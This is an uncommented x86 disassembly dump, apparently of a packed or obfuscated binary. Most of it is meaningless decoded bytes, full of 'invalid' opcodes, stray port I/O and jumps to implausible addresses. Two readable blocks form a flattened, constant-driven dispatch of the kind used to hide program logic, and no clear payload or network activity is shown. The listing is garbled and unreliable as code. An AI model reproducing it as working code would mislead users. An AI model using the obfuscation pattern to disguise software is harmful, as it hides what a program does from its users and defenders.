jb 0x682ce0d6
sti
insb byte es:[edi], dx
popfd
add al, 0xd4
and eax, 0x1131482e
adc byte [ebp + ecx*2 + 0x1f], dh
ljmp 0x53a9
and byte [edi + 0x8ca3582], dl
ljmp 0x6ee2
invalid
sbb edi, ebx
clc
xor ecx, 0xffffffb6
movsb byte es:[edi], byte [esi]
inc edi
pop eax
mov edx, 0x3e5a0395
aaa
out 9, eax
in al, 0xc3
out dx, eax
dec esp
inc eax
and ah, byte [edx]
push 0x89ca0857
idiv dword [ecx]
loopne 0x682cffcb
jns 0x682cffda
invalid
out 0xa0, al
int1
daa
out 1, al
mov al, 0xfe
int1
cli
xchg ebx, eax
invalid
or al, 0xe8
jp 0x682d0035
call 0x77c2575a
mov gs, word [eax]
cmp dword ss:[esi + 0x319c5db8], 0x4f
xchg ebp, eax
jle 0x26b0360d
mov eax, 0x4f319c5d
sub dh, dl
or ebp, dword [eax]
test edi, edx
insd dword es:[edi], dx
mov esi, 0x46021669
mov bh, 0x71
pop es
adc byte [edx + ebp], dl
sal dword [edi + 0x2bca5ab3], cl
sbb eax, 0xdbb99e22
pushfd
push esp
sbb byte [edi], cl
in al, 0x15
cdq
leave
jp 0x682d0082
retf 0x1d2b
mov al, 0x4f
dec edi
into
dec edi
leave
add byte [ebx + 0x5a], ch
popal
jp 0x682d0012
xchg edi, eax
pop ebp
mul byte [ecx - 0x36]
add dword [edi], esp
test eax, 0x811697e8
arpl word [ecx - 0x7b8a773b], ax
std
lds esp, [ebx]
rcr dword [esp + ebx + 0x3a1c611f], 1
popal
sbb al, 0x3a
jae 0x682d00b4
sbb bl, ah
adc dword [edi + ebp], ebp
insb byte es:[edi], dx
inc edx
pop ss
or esi, dword [edx - 0x5c]
and ch, byte [esp + edx*2]
xor dword [eax], edx
jle 0x682d0000
mov eax, dword [0x97b39553]
and al, 0x16
jno 0x682cffdb
retf 0xdd15
adc esi, ebx
push esi
fisub word [esi]
xchg dword [edi - 0x5e], esp
ficom word [eax + 0x4eebcacc]
outsb dx, byte [esi]
aad 0xf0
sub dl, byte fs:[ebx + 0x288716ea]
fsubr qword [edx]
lea eax, [ecx]
je 0x682d00d2
sub cl, byte [ebp - 0x2db48bff]
rcr byte [eax], cl
add eax, 0x3f36cfc3
sbb byte [0x3f36cfc3], al
mov edi, 0x7e206397
inc eax
pop ds
inc edi
mov al, byte [0x749e2b4e]
outsb dx, byte [esi]
dec esi
sub ebx, dword [esi + 0x50bd6e74]
test al, 0xe7
out 0x2a, eax
cmp eax, ecx
loop 0x682d0087
je 0x682d010a
mov ebp, 0xe7e7a850
sub bh, byte [ecx]
enter 0xffffffffffffe1e2, 0x42
inc edx
sbb al, 0xe
xchg edx, eax
push edx
mov dword [0x24b4ba4f], eax
pop ss
mov edx, 0xb37837a1
js 0x682d0069
test eax, 0xb05ad64f
sbb al, 0x7e
jle 0x682d0088
retf 0xda7e
jle 0x682d009a
cmp ecx, dword [ebx]
rcl byte [ebx], 0xb7
in al, 0xb
push ebx
mov dword [edi - 0x29ccbf08], edi
in eax, 0x90
adc edi, dword [ebp + 0x3b]
jge 0x682d010f
xlatb
xchg esp, eax
mov byte [ebx - 0x709752cb], 0x13
mov ecx, cs
xor dword [0x138f68ad], 0xffffff8c
leave
out 0x6b, eax
and byte [edx - 0x3e], al
popal
std
test dword [edx - 0x29], ebp
jne 0x682d00bc
les edi, [esi]
push 0xc
and bh, byte [edi + 0x4992dc27]
in eax, dx
lodsb al, byte [esi]
in al, dx
add bh, byte [eax + 0x3b]
invalid
lea esi, [ecx + edi + 0x73a322bc]
push cs
or al, 0xa0
xor bh, byte [esi - 0x36827489]
ja 0x682d0097
jge 0x682d00d7
xchg edx, eax
mov eax, 0xc9656bf9
inc ebx
jl 0x682d00bd
or byte [edx], ch
pop ecx
push 0x57
sbb al, 7
adc byte [esi], dl
jno 0x682d019c
aas
out dx, al
int 0x43
dec ecx
sub byte [ebx - 0x57743657], ch
movsd dword es:[edi], dword [esi]
sub esp, esp
xchg edx, eax
and byte [edi], dh
jb 0x682d018d
push esi
fmul dword [eax - 0x54447108]
mov al, byte [0x71af5b38]
mov ebx, 0x4a6b2ca4
cmp byte [ebx - 0x51], bl
jno 0x682d00fe
movsb byte es:[edi], byte [esi]
sub al, 0x6b
dec edx
cmp ecx, ecx
adc bl, byte [eax]
fcomp qword [esi - 0x1ec0d9db]
mov edx, 0x87e9702a
xor ebx, ebx
jnp 0x682d0136
jo 0x682d013e
xchg dword [ebx], esi
fstp xword [ebx - 0x24]
scasd eax, dword es:[edi]
add dword [ebx + 0x53], eax
push 0xc2bc77fb
nop
int3
pop eax
jg 0x682d01fa
inc edi
xchg dword [eax], esi
mov dl, 0xa3
outsd dx, dword [esi]
daa
invalid
or al, 0xab
jno 0x682d0153
push ecx
add dword [edi - 0x48311cbe], 0xdce9be6c
inc ecx
push es
jp 0x682d0137
sub edi, esp
jns 0x682d022d
cdq
cwde
aas
add dword [ecx], esi
cmp dword [ecx], ebx
mov eax, dword [0xd6e1]
adc dword [edx], edi
cmp ah, dl
mov byte [ecx + ebx], 0x3a
xor eax, 0xca6898cb
fld dword [esi + ebx]
xchg edx, eax
xor dl, byte [ebx + 0x47]
push ds
cwde
mov ecx, 0x5bf61f6b
mov al, 0x59
mov al, byte [0x77b0eec5]
mov eax, 0x81337333
fcmovbe st(0), st(7)
dec edx
aaa
pop ss
arpl word [ebp + 4], di
xchg esi, eax
add dl, byte [edx - 8]
adc eax, 0xf3464e76
pop eax
mov cl, 0x6e
imul ebp, dword [ebp + esi*4 - 0x1fec145c], 0x66
lea esp, [eax]
xor al, 0x77
push ebx
cdq
into
int 0x53
push ebx
dec eax
fdiv st(3)
aad 0x49
imul esi, dword [ecx - 0x3e], 0x114087ad
sub byte [edi + 0x25dc0aa8], dl
jp 0x682d023e
rcr byte [esi + eax], 1
mov cl, 1
salc
mov esi, 0x8285d226
sub al, 0xaf
mov esp, 0x65589cfe
inc esp
cmpsd dword [esi], dword es:[edi]
vandps ymm5, ymm7, ymmword [eax]
mov esp, 0x916b34bd
sbb byte [ebx], ah
int3
and ecx, esp
add eax, 0xafab13bb
fld st(5)
adc dword [ebp + 0x6f], esp
mov eax, dword [0xc0eab7a1]
pushal
and eax, 0x905d44fa
int3
nop
jmp 0x682d09e4
nop
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x682d5eea
mov dword [ebp - 0x1e0], 0x956e4
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1e8], 0x77b1c
mov dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e8]
sbb edx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x1f0]
xor eax, 0xf254b
or eax, dword [ebp - 0x1ec]
je 0x682d5481
mov edx, 0xf254b
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0xdf0d9
or eax, dword [ebp - 0x1ec]
je 0x682d0be1
mov edx, 0xdf0d9
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0xb1c90
or eax, dword [ebp - 0x1ec]
je 0x682d20a1
mov edx, 0xb1c90
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0xa64c2
or eax, dword [ebp - 0x1ec]
je 0x682d3fc1
mov edx, 0xa64c2
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0x8e796
or eax, dword [ebp - 0x1ec]
je 0x682d2b01
mov edx, 0x8e796
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0x41f8f
or eax, dword [ebp - 0x1ec]
je 0x682d3561
mov edx, 0x41f8f
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0x3faaa
or eax, dword [ebp - 0x1ec]
je 0x682d4a21
mov edx, 0x3faaa
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x682d5ede
mov eax, dword [ebp - 0x1f0]
xor eax, 0x1dbc8
or eax, dword [ebp - 0x1ec]
je 0x682d5ee4
mov eax, dword [ebp - 0x1f0]
xor eax, 0x35231
or eax, dword [ebp - 0x1ec]
je 0x682d1641
test byte [ebp + 0xa], ah
add byte [eax], al
jmp 0x682d5ede
sub byte [edi - 0x6f], ch
fidiv dword [edx + 0x5a]
jp 0x682d0c23
invalid
mov byte [eax], dl
mov edx, 0xec401e1f
test eax, 0xe04f20ee
xchg dword [esi], esi
sahf
inc edx
sub eax, 0x2ddab401
out dx, eax
les esi, [ecx - 0x25a6bd61]
xchg edi, eax
aam 0xda
popal
test dword [esi + 0x4038b15a], ebx
jne 0x682d0c2a
push ebx
jbe 0x682d0bd7
jle 0x682d0c8e
ror edx, 1
sti
rcr dword [edi + 2], cl
imul eax, esi, 0xffffffaa
shr byte [0xcb6a6d60], cl
pushal
push 0xffffffffffffff81
pop es
inc esp
pop ss
adc al, 0xbf
and al, 0x48
popal
push 0xffffffffffffffde
std
cwde
pop esp
xor bl, byte [eax]
xlatb
mov eax, 0x10d0cef1
pop es
xchg edi, eax
add dword [ecx + 0x6e], 0x29e6e3d5
add dl, bh
lodsd eax, dword [esi]
pop eax
wait
sub eax, 0x9240b851
lea edx, [esi]
arpl word [edi - 0x543d6aa], ax
je 0x682d0d0a
xchg dword [esi + 0x29], edx
mov esp, 0x1e7574fa
push ds
push eax
jbe 0x682d0c64
sbb al, 0x8c
stosd dword es:[edi], eax
test eax, 0xc8d74d1e
jl 0x682d0c2a
mov dword [0xe339c5fa], eax
invalid
invalid
aaa
xchg esp, eax
loop 0x682d0cd4
push ss
mov eax, dword [0x6ff6445a]
out dx, eax
cmp al, 0xe4
salc
sbb byte [edi], ch
test byte gs:[ecx], ch
cmp dword [esp + edi*2 - 0x2f], ebx
test dword [eax - 0xdf0cd4c], edi
aas
jne 0x682d0d18
sahf
invalid
inc ebx
fadd st(7), st(0)
dec ecx
pop eax
jns 0x682d168b
sar byte [ebp - 0x52], 1
mov bh, byte [ecx + ebx*8 + 0x2d]
invalid
das
or byte [ecx - 0x6351e4c3], 0xc4
push esi
or al, 0x49
ficom word cs:[edi + 0x4805922a]
dec edx
adc edx, ebx
pop ebx
mov bl, 0x87
loopne 0x682d1658
push ebx
scasd eax, dword es:[edi]
pop edi
dec ebp
cmp al, byte [eax + 0x1a29d16f]
sbb dword [edi + 0x3a], 0x3dbb4ff1
fild dword [ebp + 0x4f]
lcall 0x1241, 0x6a3f11d
mov al, dl
cmc
aas
ficomp dword [ebx + esi*8 + 0x4cb87009]
mov ebp, 0xb9f692b7
jle 0x682d1625
sbb esp, dword [edi - 0x63093b59]
imul ecx, dword [edx], 0xc55c4d3a
sub dword [ebp + 0x7e], eax
push ss
and byte [edx], cl
pop ebp
pop edx
sti
insb byte es:[edi], dx
dec edx
ret 0x7f2c
cmpsd dword [esi], dword es:[edi]
invalid
add eax, 0x4d8e183e
dec eax
or edi, dword [ebp - 0x59]
lodsb al, byte [esi]
xlatb
and edi, dword [edx - 0xc]
mov dl, 0x9d
int 1
and eax, 0x9aef585f
imul esi, esp, 0x46
adc byte [eax - 0x5a], ch
adc al, 0x10
pop esi
jmp 0x736e12e9
ret
out 0x87, eax
hlt
add bh, 0xd7
xchg esp, edx
push edx
xor al, 0x16
lea ecx, [ebx - 0x3f]
pop edx
in eax, dx
ficom word [0x796e4a24]
add eax, 0xe9cc9081
test byte [ecx], ch
add byte [eax], al
pop esi
jg 0x682d3586
salc
xchg ecx, eax
inc edx
and ch, ah
add dword [esp + esi*4 + 0x40be7ba0], ebx
jno 0x682d34fb
int3
mov edi, 0xa0d9cd3
pop esp
pop edx
xor byte [edx + 0x26], 0x3e
insb byte es:[edi], dx
sbb esi, dword [esi]
dec ebx
or edx, edi
mov al, byte [0xdb45a0c0]
lar eax, word [ebx + 0x3d67e09d]
dec edi
dec ebp
mov edx, 0x6d69942e
mov ebp, 0x52bcd7e6
fld qword [ebp - 0x32fd79f7]
outsb dx, byte [esi]
push ecx
add al, 0xaa
scasd eax, dword es:[edi]
jae 0x682d3544
xchg esi, eax
push es
scasd eax, dword es:[edi]
cmp cl, 0x67
dec esp
xchg esp, eax
xor ebp, dword [ebx + 0x1933f524]
mov ecx, dword [edi - 0x2b4c7664]
mov esi, dword [ecx]
fiadd dword [edx - 0x45af79c1]
das
lcall 0xcc60, 0x82243638
invalid
int3
cmp bh, byte [ebx + edi*2 + 0x4a]
pop esi
sub byte [0x1aaece17], 0xb8
adc dl, byte [esi - 0x58]
push ebp
ja 0x682d3fd0
std
jns 0x682d3fbb
mov ebx, 0xbcbb9533
jnp 0x682d3fd2
ljmp 0x36ef:0xf919939d
invalid
invalid
and eax, 0xf1648ef1
push esi
dec esp
loopne 0x682d54ea
pushal
jno 0x682d549a
aad 0x1d
or ebp, esi
aam 0xfa
mov dh, 0x85
dec ebp
push 0xa468af10
and eax, 0x96a4d3fb
cmc
test eax, 0xc9699240
cmp al, 0xfe
fisubr dword [edx + 0x16]
shl dword [esi + edx*4 - 0x6dbf560b], cl
imul ecx, ecx, 0x6adafe3c
push ss
in al, 0xb1
and esp, dword [eax + 0x1dd917cd]
xchg edx, eax
salc
movsb byte es:[edi], byte [esi]
rol dword [ebp + 8], 1
dec ebp
fnstsw word [ebx - 0x18e531a9]
and esp, dword [eax]
jbe 0x682d549c
insd dword es:[edi], dx
mov cl, dl
cmp cl, byte gs:[edx - 0x24]
ja 0x682d54f0
popal
test byte [ecx - 0x73b23418], ah
cmpsd dword [esi], dword es:[edi]
push es
mov bl, al
daa
jmp 0x3aea6393
lock and ebx, dword [0x7f5f531d]
xchg edi, eax
jg 0x682d5489
xchg ebp, eax
and dword [esi + 0x28], ebx
dec eax
daa
and eax, 0x64de2c4e
lodsd eax, dword [esi]
out 0x4c, al
pushfd
add bl, dl
mov eax, dword [0xe12770c4]
inc edi
retf 0x2fae
nop
jmp 0x6834c9d7
nop
jmp 0x6834c9d7
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x2a]
jne 0x682dde55
mov dword [ebp - 0x1c8], 0xa1a11
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1d0], 0x26c03
mov dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x1c4]
imul eax, dword [ebp - 0x1d0]
mov edx, eax
mov eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x1c8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1c8]
mul dword [ebp - 0x1d0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0x1d8]
xor eax, 0x773f7a33
mov edx, dword [ebp - 0x1d4]
xor edx, 0x18
or eax, edx
je 0x682dde49
mov edx, 0x773f7a33
mov eax, 0x18
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0xe51f3
or eax, dword [ebp - 0x1d4]
je 0x682daa6c
mov edx, 0xe51f3
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0xaef0a
or eax, dword [ebp - 0x1d4]
je 0x682d95ac
mov edx, 0xaef0a
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x9d677
or eax, dword [ebp - 0x1d4]
je 0x682dc98c
mov edx, 0x9d677
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x81958
or eax, dword [ebp - 0x1d4]
je 0x682d6c2c
mov edx, 0x81958
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x75bd2
or eax, dword [ebp - 0x1d4]
je 0x682d8b4c
mov edx, 0x75bd2
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x62aae
or eax, dword [ebp - 0x1d4]
je 0x682d80ec
mov edx, 0x62aae
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x613a0
or eax, dword [ebp - 0x1d4]
je 0x682dbf2c
mov edx, 0x613a0
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x5821d
or eax, dword [ebp - 0x1d4]
je 0x682db4cc
mov edx, 0x5821d
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x49e52
or eax, dword [ebp - 0x1d4]
je 0x682da00c
mov edx, 0x49e52
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x3bf5e
or eax, dword [ebp - 0x1d4]
je 0x682d61cc
mov edx, 0x3bf5e
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x682dde4f
mov eax, dword [ebp - 0x1d8]
xor eax, 0x1408c
or eax, dword [ebp - 0x1d4]
je 0x682dd3ec
mov eax, dword [ebp - 0x1d8]
xor eax, 0x36043
or eax, dword [ebp - 0x1d4]
je 0x682d768c
jmp 0x682dde4f
dec ecx
fdivr qword [ebx - 0x15]
out 0x28, eax
pop ecx
invalid
inc ebx
insd dword es:[edi], dx
wait
dec ebx
and al, 0x99
xor esi, dword [eax]
pushal
js 0x682d6c47
cmp eax, 0x2ec5b612
aaa
insd dword es:[edi], dx
pop eax
invalid
shr byte [edi + 8], cl
or al, 3
popfd
sub esi, dword [ecx]
je 0x682d6cc7
fadd qword [ecx + 0x11]
sbb byte [esi + 0x20daea78], ch
add cl, byte [eax]
or al, byte [ebx + 0x1c26fbc8]
pop esi
in eax, 0xb1
pop eax
sahf
push esp
mov dl, 0x95
stosd dword es:[edi], eax
into
or dword [edi], 0x7d
fidiv dword [edx + 0x69]
fcompi st(5)
loopne 0x682d6c44
xor byte fs:[ecx - 0x3c5089b8], 0x6b
xor bl, byte [ebx - 0xc]
sub byte [ebp + 0x5a], dl
dec esp
in al, dx
xor esp, dword [eax - 0x26]
psrlq mm7, mm6
js 0x682d6ce6
cld
stc
leave
shr ebx, 0x77
xor dl, byte ds:[eax - 0x3e]
cmp bl, cl
in eax, dx
mov cl, 0xf5
sub eax, 0x75973cdd
ror esp, 1
lcall 0x15b, 0x9ff026b0
xor al, 0xfe
adc byte [esi + 0x60], dh
leave
jmp 0x682d6caa
int1
mov cs, word [esi]
add dl, byte [edi]
sbb dword [ecx + 0x72], ecx
push ebp
inc esp
xchg esi, eax
pop ecx
popfd
and dh, ch
cdq
out dx, al
pop ecx
push edx
jbe 0xa566d271
ficomp word [ecx + 0x2f]
xor al, 0x61
pop edi
xchg esp, eax
mov ah, cl
cmp al, 0x90
xor al, 0x24
push edi
add al, 0x39
sub esi, dword [esi]
out 0xa2, al
xor al, 0xbc
xor edx, edi
adc dword [ecx + 0x23261d4f], 0xffffffd5
sbb dword gs:[0xc9527d47], edi
sub edi, dword [0xccd1b894]
mov cl, 0xd2
test byte [esp + ecx + 0x66853027], dl
mov cl, cl
dec ebx
and al, 0x5b
nop
int3
dec esi
dec edx
sub dword [ebp + ecx*4 - 0x3e66d3a2], edi
out dx, eax
sahf
sbb edx, ecx
stosb byte es:[edi], al
cmp dl, byte [ebp - 0x15]
mov esi, 0x3261e8d4
jle 0x682d76e2
and edx, dword [esi + 0x6b6e8824]
inc eax
ja 0x682d76c8
mov eax, dword [0xcc1470e2]
invalid
sbb al, 0x2d
mov ah, 0xa0
mov cl, 0x8d
push 0xa5d47c47
fisub dword [ecx]
and ah, dh
ja 0x682d773f
lea eax, [ecx + 0x5aecec90]
test eax, 0xa06ccbaf
mov ebp, 0x7627602a
daa
insb byte es:[edi], dx
mov al, byte [0x27602abd]
jbe 0x682d7711
push edi
leave
sbb dword [ebx + ebp*2 - 0x4cca08fd], ebp
mov ecx, 0x463b1f49
out 0x20, eax
sbb dl, bl
pop es
dec edi
sub al, 0x58
les ebx, [ebx - 0xd]
dec ecx
cmp bh, byte [esi]
out 0xab, eax
fcmovu st(0), st(2)
push 0xfffffffffffffff4
cmpsd dword [esi], dword es:[edi]
add dword [edx + 0x1aae3d4e], 0x42d92fd
out 0xf1, al
adc dl, dl
fadd dword [edi - 0x36a724af]
scasb al, byte es:[edi]
sbb bh, ch
xchg edx, eax
sub eax, 0x12f1e604
rcr al, cl
xchg dword [ecx - 0x25], edx
pop eax
leave
invalid
mov ds, word [ebx]
ret 0xe72
pop ds
mov al, 0xfa
push esi
mov byte [0x4dad94d5], al
wait
mov edi, 0x9b29f206
pop edi
mov bh, 0x75
cmp al, 0xbe
cmc
invalid
sbb eax, ecx
add ecx, edi
call 0x95f4cfd
xchg esp, eax
sahf
pop edi
or eax, 0x65e93e9f
pop es
das
invalid
les eax, [eax + 0x70]
cmpsd dword [esi], dword es:[edi]
mov eax, 0xa136530
pop ds
das
jns 0x682d8af8
invalid
insd dword es:[edi], dx
mov ah, 0xb0
mov al, 0xcc
test al, 0x97
nop
xor byte [edi + edi*4], 0xc3
mov edi, 0x7dabc438
les edi, [ebx - 0x25]
add byte [eax - 0x43bfb753], al
invalid
lahf
jle 0x682d9600
pop ebp
jp 0x682d9542
invalid
jo 0x682d9679
xchg ecx, eax
or esi, dword [edx + 0x4e79bdf3]
or edi, esi
sub byte [eax + 0x62], bh
cli
sub dl, bl
push edx
outsb dx, byte [esi]
cmp dword [eax + 0x6d], 0xd71ed77b
aam 0x7d
push 0x1353f437
invalid
and al, 0x95
jne 0x682d9600
mov esi, 0x327da220
loope 0x682d9611
cli
cmpsb byte [esi], byte es:[edi]
push ebx
jb 0x682d96fc
jecxz 0x682d96e6
xor ebp, ebx
sar byte [esi + 0x2a], 1
sbb esi, dword [esi - 7]
in eax, dx
test byte [esi - 0x7a5b4fe9], cl
nop
int3
insb byte es:[edi], dx
cmp esp, ebp
in al, dx
ret 0x3c12
dec edx
das
pop ebx
jle 0x682d9716
cld
xchg ebx, eax
into
rol dword es:[eax], 0x85
test dword [esi + 0x31], eax
and dh, byte [edi + 0x64]
invalid
outsb dx, byte [esi]
and dl, byte [ecx + ecx*2 + 0x23088579]
or eax, 0x822cbc0f
sbb byte [ebx], 8
retf 0x24d1
adc al, 0xb6
cmp eax, 0x8028600d
mov al, byte [0x265a7154]
jb 0x682d96b4
pushal
sub byte [eax + 0x5a7154a0], al
jb 0x682d96b4
mov ecx, 0x3aa90f69
test edx, esi
nop
cdq
xchg esp, eax
add bl, 0x3b
jb 0x682d9744
adc ch, dh
enter 0x13a, 0xfffffffffffffffe
fidivr word [esi + 0x15]
mov byte [esi*4 - 0x79306ab2], bl
adc byte [ebp + edi - 0x65], dl
test byte [ecx - 0x4f], 0xb9
and cl, byte [ebx + 0x5f]
dec edi
and eax, 0x5fda3bb7
fdivr st(2), st(0)
cmp al, 0xfd
push ecx
jl 0x682d9712
sub dh, byte [edi + esi - 0x4d]
push esp
pushaw
outsd dx, dword [esi]
std
invalid
invalid
and al, 0x18
scasd eax, dword es:[edi]
jns 0x682da03c
and al, 0x10
sub al, 0x94
sub byte [esi + edi*2 + 0x7603c80e], dl
salc
inc edx
sbb al, 0x44
out dx, eax
push esi
xchg edi, eax
dec ebp
inc esp
mov ch, pe_nt_image_headers32
test ch, ah
loope 0x682d9fc5
lcall 0x40d2, 0x7cc79127
cmpsb byte [esi], byte es:[edi]
hlt
mov eax, dword [0xef8258ec]
cmc
aad 0x13
nop
mov bh, 0x45
jns 0x682da0ab
push ebp
sahf
hlt
salc
in eax, dx
call 0x7ec89116
adc byte [eax + 0x36], bh
scasd eax, dword es:[edi]
in eax, 0xa0
mov ch, 0x23
out 0x60, al
mov ebp, 0xbb869e90
mov es, edi
ja 0x682da116
cmp al, 0x17
shr byte [eax], 1
pushfd
jns 0x682da0f9
add byte [ebx + 0x6a16c5f4], 0x13
mov edx, 0x4166bb33
mov dl, 0x27
xchg ecx, eax
pushfd
das
invalid
mov ah, 0xcb
nop
int3
sub eax, 0x662bebf
outsd dx, dword [esi]
xchg edx, eax
sbb edi, eax
inc ebp
adc bh, byte [edx - 0x305c3dac]
mov dword [ebp + 0x5808fe1d], ebx
add byte [edx + ebp], ch
pop ebx
stc
xor byte [esi - 0x2b], bl
mov al, byte [0x7dc234cb]
invalid
invalid
xor al, 0xaa
cwde
jnp 0x682db505
and eax, 0xae8c6174
cwde
fmul dword [eax - 0x7f66a40b]
jnp 0x682db515
mov edi, 0xe38495bd
fucomi st(2)
dec eax
iretd
sti
test byte [0x709ea906], ah
xchg esp, eax
jle 0x682db566
push eax
invalid
out dx, eax
je 0x682db51d
ret 0xf465
enter 0xffffffffffffc826, 0xffffffffffffffb0
cmp byte [edi + 0x1db633a9], dl
xor byte [edx + 0x148ce3bf], dl
shl ecx, cl
push esp
xor esp, dword cs:[edi - 0x675e77fa]
cmp byte [0x4e22b134], dl
push edx
lea eax, es:[eax]
dec ebp
invalid
sbb ah, byte [esi + 0x74]
push ds
invalid
mov ebx, 0x3461a688
mov dword [0xd1fe3eb3], eax
invalid
sal byte [ecx], cl
nop
aam 0x8d
out 0x80, eax
add byte [ebx], ah
test byte [edi - 0x76], ah
scasb al, byte es:[edi]
movsb byte es:[edi], byte [esi]
and al, 0x68
xor eax, 0x1b4967f8
dec ebp
test byte [esi], dl
xor dl, 0xdd
daa
pushfd
stosd dword es:[edi], eax
in eax, 0xfb
mov edi, 0x56d7795e
mov al, 0x71
invalid
mov ecx, ebp
loope 0x682dc941
sar dword [ebx - 0x706b5110], 1
and dword [ebx + 0x7f], edx
mov esp, 0x1fba9375
inc esi
sbb eax, 0xb58d4ba0
cdq
bound ecx, qword [ecx + 0x6d]
jg 0x682dc9d2
pushal
iretd
js 0x682dca0c
insd dword es:[edi], dx
aad 0x3c
invalid
rol byte [ebp + 0x4cab4289], cl
je 0x682dca8f
pop edx
pop ebp
enter 0x59d5, 0xfffffffffffffffb
cmp eax, 0xcced0316
jp 0x682dca9e
cld
cmp bh, dl
popfd
push cs
mov eax, dword [esi - 0x1d9dfb05]
fld qword [ebx]
test eax, 0xddfd55a6
dec ecx
push ss
adc bh, byte [ecx + ebp*2]
pop ebp
jnp 0x682dca5e
in eax, dx
and byte [edx], 0xfe
add eax, 0xfdaa2e75
mov dl, 0x60
ljmp 0x877b
cli
dec ebx
or dword [edx + 0x54a3d], ecx
add dword [edx - 0x11a28e66], ecx
shl edi, 1
invalid
popal
sbb byte [esi + esi*2], ch
test eax, 0x7a6db686
aaa
adc byte [eax + edx*8 + 0x3a7fdb5e], bh
jg 0x682dcada
pop esi
jbe 0x682dcaba
add byte [0x3fa5057c], 0x4e
retf
and edx, dword [ebp - 0x15ddf877]
cmp byte [esi + 0x3a2bb41d], ah
sahf
mov byte [0x428b5ee9], al
pop ebp
call 0xa8eb70ab
adc byte [ebx], dh
adc ch, byte [esi]
add ecx, ecx
invalid
and al, ah
add cl, byte [esp + eax*8 + 0x7f]
lahf
retf
int3
pop edi
and edx, dword [edx - 0x16]
cmc
fdivr qword [edi + esi*2]
stosd dword es:[edi], eax
enter 0x66fb, 0xffffffffffffffd1
xchg edi, eax
sbb al, 0x10
mov edx, 0xe8bf4466
xchg esp, eax
mov al, byte [0x37a2bbaa]
pop ds
sbb byte [ebp + 0x40075b77], dh
add al, 0xfd
test eax, 0x7f35a6e6
ror byte [ecx], 0x8f
xchg ecx, ebp
push ecx
mov eax, dword [0xa0c7d1b0]
adc bl, byte [ebx - 0x19]
mov ch, 4
sub byte [edi - 0x3489a371], bh
jnp 0x682dd3f1
and esp, dword [eax + 0x69a6f5c7]
adc eax, 0xbd6dbcec
loope 0x682dd480
jns 0x682dd3e6
movsb byte es:[edi], byte cs:[esi]
inc ebp
les esi, [edi + 0x303216bf]
movsd dword es:[edi], dword [esi]
shr byte [esp + 0x7845a78], 1
xor dword [ecx], ebx
jp 0x682dd47b
stc
invalid
sahf
invalid
push ss
rcl dword [ecx + ecx + 0x6c7382e9], 0x4f
dec ebp
scasd eax, dword es:[edi]
sub eax, 0xc33aabeb
pop eax
cmp byte [eax + 0x1028fc97], ch
sbb eax, dword [ebx + 0x4f]
